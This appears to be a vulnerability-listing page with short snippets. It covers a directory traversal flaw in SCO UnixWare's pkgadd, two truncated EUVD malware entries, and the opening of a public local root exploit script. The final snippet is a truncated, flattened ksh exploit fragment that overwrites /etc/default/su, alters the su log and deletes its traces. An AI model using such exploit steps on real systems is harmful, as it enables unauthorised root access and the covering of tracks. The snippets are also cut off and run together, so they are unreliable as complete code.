EUVD-2006-4427

Malware in sbrugna...

EUVD-2008-0320

Malware in sbrugna...

Directory traversal

Directory traversal vulnerability in pkgadd in SCO UnixWare 7.1.4 before p534589 allows local users to create or append to arbitrary files via ".." sequences in an unspecified environment variable, probably PKGINST...

SCO Unixware pkgadd directory traversal

It's possible to access any system files...

SCO UnixWare < 7.1.4 p534589 - 'pkgadd' Local Privilege Escalation

!/bin/ksh 04/2008: public release SCO UnixWare su.log cp su.def /etc/default/su cp su.log /var/adm/sulog rm -f su.def su.log woot.log else echo "------------------------------------" echo " UnixWare pkgadd Local Root Exploit" echo " By qaaz" echo "------------------------------------" EVIL=echo...